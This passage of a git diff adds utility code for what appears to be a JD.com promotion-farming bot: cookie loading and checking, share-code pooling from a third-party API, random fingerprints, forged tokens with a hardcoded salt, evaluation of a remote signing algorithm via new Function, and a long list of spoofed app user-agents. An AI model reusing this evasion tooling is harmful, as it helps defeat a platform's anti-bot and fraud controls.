getFarmShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action?functionId=initForFarm', `body=${encodeURIComponent(JSON.stringify({"version": 4}))}&appid=wh5&clientVersion=9.1.0`, { + headers: { + "cookie": cookie, + "origin": "https://home.m.jd.com", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "User-Agent": USER_AGENT, + "Content-Type": "application/x-www-form-urlencoded" + } + }) + + if (data.farmUserPro) + return data.farmUserPro.shareCode + else + return '' +} + +async function requireConfig(check: boolean = false): Promise { + let cookiesArr: string[] = [] + const jdCookieNode = require('./jdCookie.js') + let keys: string[] = Object.keys(jdCookieNode) + for (let i = 0; i < keys.length; i++) { + let cookie = jdCookieNode[keys[i]] + if (!check) { + cookiesArr.push(cookie) + } else { + if (await checkCookie(cookie)) { + cookiesArr.push(cookie) + } else { + let username = decodeURIComponent(jdCookieNode[keys[i]].match(/pt_pin=([^;]*)/)![1]) + console.log('Cookie失效', username) + await sendNotify('Cookie失效', '【京东账号】' + username) + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`) + return cookiesArr +} + +async function checkCookie(cookie: string) { + await wait(3000) + try { + let {data}: any = await axios.get(`https://api.m.jd.com/client.action?functionId=GetJDUserInfoUnion&appid=jd-cphdeveloper-m&body=${encodeURIComponent(JSON.stringify({"orgFlag": "JD_PinGou_New", "callSource": "mainorder", "channel": 4, "isHomewhite": 0, "sceneval": 2}))}&loginType=2&_=${Date.now()}&sceneval=2&g_login_type=1&callback=GetJDUserInfoUnion&g_ty=ls`, { + headers: { + 'authority': 'api.m.jd.com', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1', + 'referer': 'https://home.m.jd.com/', + 'cookie': cookie + } + }) + data = JSON.parse(data.match(/GetJDUserInfoUnion\((.*)\)/)[1]) + return data.retcode === '0'; + } catch (e) { + return false + } +} + +function wait(timeout: number) { + return new Promise(resolve => { + setTimeout(resolve, timeout) + }) +} + +async function requestAlgo(appId: number = 10032) { + fingerprint = generateFp() + return new Promise(async resolve => { + let {data}: any = await axios.post('https://cactus.jd.com/request_algo?g_ty=ajax', { + "version": "1.0", + "fp": fingerprint, + "appId": appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }, { + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': USER_AGENT, + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + }) + if (data['status'] === 200) { + token = data.data.result.tk + let enCryptMethodJDString = data.data.result.algo + if (enCryptMethodJDString) enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)() + } else { + console.log(`fp: ${fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + resolve() + }) +} + +function generateFp() { + let e = "0123456789" + let a = 13 + let i = '' + for (; a--;) + i += e[Math.random() * e.length | 0] + return (i + Date.now()).slice(0, 16) +} + +function getJxToken(cookie: string, phoneId: string = '') { + function generateStr(input: number) { + let src = 'abcdefghijklmnopqrstuvwxyz1234567890' + let res = '' + for (let i = 0; i < input; i++) { + res += src[Math.floor(src.length * Math.random())] + } + return res + } + + if (!phoneId) + phoneId = generateStr(40) + let timestamp = Date.now().toString() + let nickname = cookie.match(/pt_pin=([^;]*)/)![1] + let jstoken = Md5.hashStr('' + decodeURIComponent(nickname) + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy') + return { + 'strPgtimestamp': timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': jstoken + } +} + +function exceptCookie(filename: string = 'x.ts') { + let except: any = [] + if (existsSync('./utils/exceptCookie.json')) { + try { + except = JSON.parse(readFileSync('./utils/exceptCookie.json').toString() || '{}')[filename] || [] + } catch (e) { + console.log('./utils/exceptCookie.json JSON格式错误') + } + } + return except +} + +function randomString(e: number, word?: number) { + e = e || 32 + let t = word === 26 ? "012345678abcdefghijklmnopqrstuvwxyz" : "0123456789abcdef", a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +function o2s(arr: object, title: string = '') { + title ? console.log(title, JSON.stringify(arr)) : console.log(JSON.stringify(arr)) +} + +function randomNumString(e: number) { + e = e || 32 + let t = '0123456789', a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +function randomWord(n: number = 1) { + let t = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', a = t.length + let rnd: string = '' + for (let i = 0; i < n; i++) { + rnd += t.charAt(Math.floor(Math.random() * a)) + } + return rnd +} + +async function getshareCodeHW(key: string) { + let shareCodeHW: string[] = [] + for (let i = 0; i < 5; i++) { + try { + let {data}: any = await axios.get('https://api.jdsharecode.xyz/api/HW_CODES') + shareCodeHW = data[key] || [] + if (shareCodeHW.length !== 0) { + break + } + } catch (e) { + console.log("getshareCodeHW Error, Retry...") + await wait(getRandomNumberByRange(2000, 6000)) + } + } + return shareCodeHW +} + +async function getShareCodePool(key: string, num: number) { + let shareCode: string[] = [] + for (let i = 0; i < 2; i++) { + try { + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/${key}/${num}`) + shareCode = data.data || [] + console.log(`随机获取${num}个${key}成功:${JSON.stringify(shareCode)}`) + if (shareCode.length !== 0) { + break + } + } catch (e) { + console.log("getShareCodePool Error, Retry...") + await wait(getRandomNumberByRange(2000, 6000)) + } + } + return shareCode +} + +/*async function wechat_app_msg(title: string, content: string, user: string) { + let corpid: string = "", corpsecret: string = "" + let {data: gettoken} = await axios.get(`https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=${corpid}&corpsecret=${corpsecret}`) + let access_token: string = gettoken.access_token + + let {data: send} = await axios.post(`https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${access_token}`, { + "touser": user, + "msgtype": "text", + "agentid": 1000002, + "text": { + "content": `${title}\n\n${content}` + }, + "safe": 0 + }) + if (send.errcode === 0) { + console.log('企业微信应用消息发送成功') + } else { + console.log('企业微信应用消息发送失败', send) + } +}*/ + +function obj2str(obj: object) { + return JSON.stringify(obj) +} + +async function getDevice() { + let {data} = await axios.get('https://betahub.cn/api/apple/devices/iPhone', { + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36' + } + }) + data = data[getRandomNumberByRange(0, 16)] + return data.identifier +} + +async function getVersion(device: string) { + let {data} = await axios.get(`https://betahub.cn/api/apple/firmwares/${device}`, { + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36' + } + }) + data = data[getRandomNumberByRange(0, data.length)] + return data.firmware_info.version +} + +async function jdpingou() { + let device: string, version: string; + device = await getDevice(); + version = await getVersion(device); + return `jdpingou;iPhone;5.19.0;${version};${randomString(40)};network/wifi;model/${device};appBuild/100833;ADID/;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${getRandomNumberByRange(10, 90)};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` +} + +function get(url: string, headers?: any): Promise { + return new Promise((resolve, reject) => { + axios.get(url, { + headers: headers + }).then(res => { + if (typeof res.data === 'string' && res.data.includes('jsonpCBK')) { + resolve(JSON.parse(res.data.match(/jsonpCBK.?\(([\w\W]*)\);?/)[1])) + } else { + resolve(res.data) + } + }).catch(err => { + reject({ + code: err?.response?.status || -1, + msg: err?.response?.statusText || err.message || 'error' + }) + }) + }) +} + +function post(url: string, prarms?: string | object, headers?: any): Promise { + return new Promise((resolve, reject) => { + axios.post(url, prarms, { + headers: headers + }).then(res => { + resolve(res.data) + }).catch(err => { + reject({ + code: err?.response?.status || -1, + msg: err?.response?.statusText || err.message || 'error' + }) + }) + }) +} + +export default USER_AGENT +export { + TotalBean, + getBeanShareCode, + getFarmShareCode, + requireConfig, + wait, + getRandomNumberByRange, + requestAlgo, + getJxToken, + exceptCookie, + randomString, + o2s, + randomNumString, + getshareCodeHW, + getShareCodePool, + randomWord, + obj2str, + jdpingou, + get, + post +} diff --git a/USER_AGENTS.js b/USER_AGENTS.js new file mode 100644 index 0000000..80a361d --- /dev/null +++ b/USER_AGENTS.js @@ -0,0 +1,128 @@ +const USER_AGENTS = [ + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.6;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.6;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.1.6;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.1.6;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.6;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.6;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'jdltapp;iPad;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2346663656561603-4353564623932316;network/wifi;model/ONEPLUS A5010;addressid/0;aid/2dfceea045ed292a;oaid/;osVer/29;appBuild/1436;psn/BS6Y9SAiw0IpJ4ro7rjSOkCRZTgR3z2K|10;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/10.5;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.1;59d6ae6e8387bd09fe046d5b8918ead51614e80a;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.26;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/59d6ae6e8387bd09fe046d5b8918ead51614e80a|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;22d679c006bf9c087abf362cf1d2e0020ebb8798;network/wifi;ADID/10857A57-DDF8-4A0D-A548-7B8F43AC77EE;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,1;addressid/2378947694;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/15.7;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/6;ads/;psn/22d679c006bf9c087abf362cf1d2e0020ebb8798|22;jdv/0|kong|t_1000170135|tuiguang|notset|1614153044558|1614153044;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2616935633265383-5333463636261326;network/UNKNOWN;model/M2007J3SC;addressid/1840745247;aid/ba9e3b5853dccb1b;oaid/371d8af7dd71e8d5;osVer/29;appBuild/1436;psn/t7JmxZUXGkimd4f9Jdul2jEeuYLwxPrm|8;psq/6;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.6;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;d7beab54ae7758fa896c193b49470204fbb8fce9;network/4g;ADID/97AD46C9-6D49-4642-BF6F-689256673906;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;D246836333735-3264353430393;network/4g;model/MIX 2;addressid/138678023;aid/bf8bcf1214b3832a;oaid/308540d1f1feb2f5;osVer/28;appBuild/1436;psn/Z/rGqfWBY/h5gcGFnVIsRw==|16;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/13.7;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5;network/wifi;ADID/5603541B-30C1-4B5C-A782-20D0B569D810;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/1041002757;hasOCPay/0;appBuild/101;supportBestPay/0;pv/34.6;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5|44;jdv/0|androidapp|t_335139774|appshare|CopyURL|1612612940307|1612612944;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;21631ed983b3e854a3154b0336413825ad0d6783;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;500a795cb2abae60b877ee4a1930557a800bef1c;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;f5e7b7980fb50efc9c294ac38653c1584846c3db;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;19fef5419f88076c43f5317eabe20121d52c6a61;network/wifi;ADID/00000000-0000-0000-0000-000000000000;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/3430850943;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.4;apprpd/;ref/JDLTSubMainPageViewController;psq/3;ads/;psn/19fef5419f88076c43f5317eabe20121d52c6a61|16;jdv/0|kong|t_1001327829_|jingfen|f51febe09dd64b20b06bc6ef4c1ad790#/|1614096460311|1614096511;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPhone;3.7.0;12.2;f995bc883282f7c7ea9d7f32da3f658127aa36c7;network/4g;ADID/9F40F4CA-EA7C-4F2E-8E09-97A66901D83E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,4;addressid/525064695;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/11.11;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/f995bc883282f7c7ea9d7f32da3f658127aa36c7|22;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 12.2;Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;5366566313931326-6633931643233693;network/wifi;model/Mi9 Pro 5G;addressid/0;aid/5fe6191bf39a42c9;oaid/e3a9473ef6699f75;osVer/29;appBuild/1436;psn/b3rJlGi AwLqa9AqX7Vp0jv4T7XPMa0o|5;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; Mi9 Pro 5G Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/666624049;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/54.11;apprpd/MessageCenter_MessageMerge;ref/MessageCenterController;psq/10;ads/;psn/4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1|101;jdv/0|kong|t_2010804675_|jingfen|810dab1ba2c04b8588c5aa5a0d44c4bd|1614183499;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.2;c71b599e9a0bcbd8d1ad924d85b5715530efad06;network/wifi;ADID/751C6E92-FD10-4323-B37C-187FD0CF0551;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/4053561885;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/263.8;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/c71b599e9a0bcbd8d1ad924d85b5715530efad06|481;jdv/0|kong|t_1001610202_|jingfen|3911bea7ee2f4fcf8d11fdf663192bbe|1614157052210|1614157056;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.2;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 